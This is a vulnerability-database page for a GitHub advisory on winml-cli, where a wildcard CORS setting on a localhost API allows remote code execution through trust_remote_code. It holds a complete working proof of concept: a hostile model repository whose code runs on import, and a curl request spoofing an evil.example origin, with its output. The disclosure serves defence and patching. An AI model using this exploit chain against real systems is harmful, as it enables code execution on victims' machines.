GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-96P9-RH4F-92CF

Vulnerability from github – Published: 2026-09-08 21:27 – Updated: 2026-09-08 21:27
VLAI
Summary
Windows ML CLI: CORS misconfig enables localhost RCE
Details

Case Description:

MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).

Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.

serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.

build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.

Reported Repro Steps:

  1. Setup

git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)

cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server

Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000

Linux needs a stub for the Windows-only PDH module (no security relevance):

cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor._pdh") class PdhPoller: def init(s,a,k): pass def start(s,a,k): pass def stop(s,*a,k): pass def poll(s,a,k): return {} def sample(s,a,k): return {} def close(s,*a,k): pass m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False sys.modules["winml.modelkit.session.monitor._pdh"] = m from winml.modelkit.serve.cli_api import app uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning") EOF cd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "winml-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T21:27:59Z",
    "nvd_published_at": "2026-09-02T20:17:41Z",
    "severity": "HIGH"
  },
  "details": "Case Description:\n\nMSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the \u0027serve/cli_api.py\u0027 component of the \u0027winml-cli\u0027 project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets \u0027allow_origins\u0027 to a wildcard, allowing any website to interact with the endpoint. This, combined with the \u0027--trust-remote-code\u0027 flag in \u0027build\u0027 and \u0027config\u0027 commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the \u0027trust_remote_code\u0027 parameter, leading to Remote Code Execution (RCE).\n\nFinder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.\n\nserve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That\u0027s defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=[\"*\"] (cli_api.py:150, duplicated at app.py:219), and the victim\u0027s browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.\n\nbuild and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command\u0027s exit_code: 1 is irrelevant.\n\nReported Repro Steps:\n\n1. Setup\n\ngit clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc \u0026\u0026 cd ~/winml-poc \u0026\u0026  mkdir -p temp /tmp/poc/evil/pwn\npython3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click\n2. Hostile model repo (payload is module-level \u2192 runs on import)\n\ncat \u003e /tmp/poc/evil/pwn/config.json \u003c\u003c\u0027EOF\u0027\n{\"model_type\":\"pwn\",\"auto_map\":{\"AutoConfig\":\"configuration_pwn.PwnConfig\"}}\nEOF\ncat \u003e /tmp/poc/evil/pwn/configuration_pwn.py \u003c\u003c\u0027EOF\u0027\nimport getpass, os, socket, time\nfrom transformers import PretrainedConfig\nwith open(os.environ[\"PWN_MARKER\"], \"w\") as f:\n    f.write(f\"ARBITRARY CODE EXECUTION\\ntime={time.strftime(\u0027%F %T\u0027)}\\n\"\n            f\"user={getpass.getuser()}\\nhost={socket.gethostname()}\\npid={os.getpid()}\\n\")\nclass PwnConfig(PretrainedConfig):\n    model_type = \"pwn\"\nEOF\n3. Start server\n\nWindows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000\n\nLinux needs a stub for the Windows-only PDH module (no security relevance):\n\ncat \u003e /tmp/poc/serve.py \u003c\u003c\u0027EOF\u0027\nimport os, sys, types, uvicorn\nm = types.ModuleType(\"winml.modelkit.session.monitor._pdh\")\nclass PdhPoller:\n    def __init__(s,*a,**k): pass\n    def start(s,*a,**k): pass\n    def stop(s,*a,**k): pass\n    def poll(s,*a,**k): return {}\n    def sample(s,*a,**k): return {}\n    def close(s,*a,**k): pass\nm.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False\nsys.modules[\"winml.modelkit.session.monitor._pdh\"] = m\nfrom winml.modelkit.serve.cli_api import app\nuvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"warning\")\nEOF\ncd ~/winml-poc \u0026\u0026 PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py \u003e/tmp/poc/log 2\u003e\u00261 \u003c/dev/null \u0026\nsleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up\n4. Exploit\n\ncurl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \\\n -H \u0027Origin: https://evil.example\u0027 -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"args\":{\"model\":\"/tmp/poc/evil/pwn\",\"output_dir\":\"/tmp/poc/out\",\"trust_remote_code\":true}}\u0027 \\\n | grep -iE \u0027^HTTP|^access-control-allow-origin\u0027\ncat ~/winml-poc/temp/PWNED\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\nARBITRARY CODE EXECUTION\ntime=2026-08-17 11:24:35\nuser=shrini  host=Shrinivasan  pid=11616",
  "id": "GHSA-96p9-rh4f-92cf",
  "modified": "2026-09-08T21:27:59Z",
  "published": "2026-09-08T21:27:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/winml-cli/security/advisories/GHSA-96p9-rh4f-92cf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/winml-cli/pull/1321"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/winml-cli/commit/f4073e0ef4700a25b623487e7e45c421ca0b9993"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/winml-cli"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Windows ML CLI: CORS misconfig enables localhost RCE"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…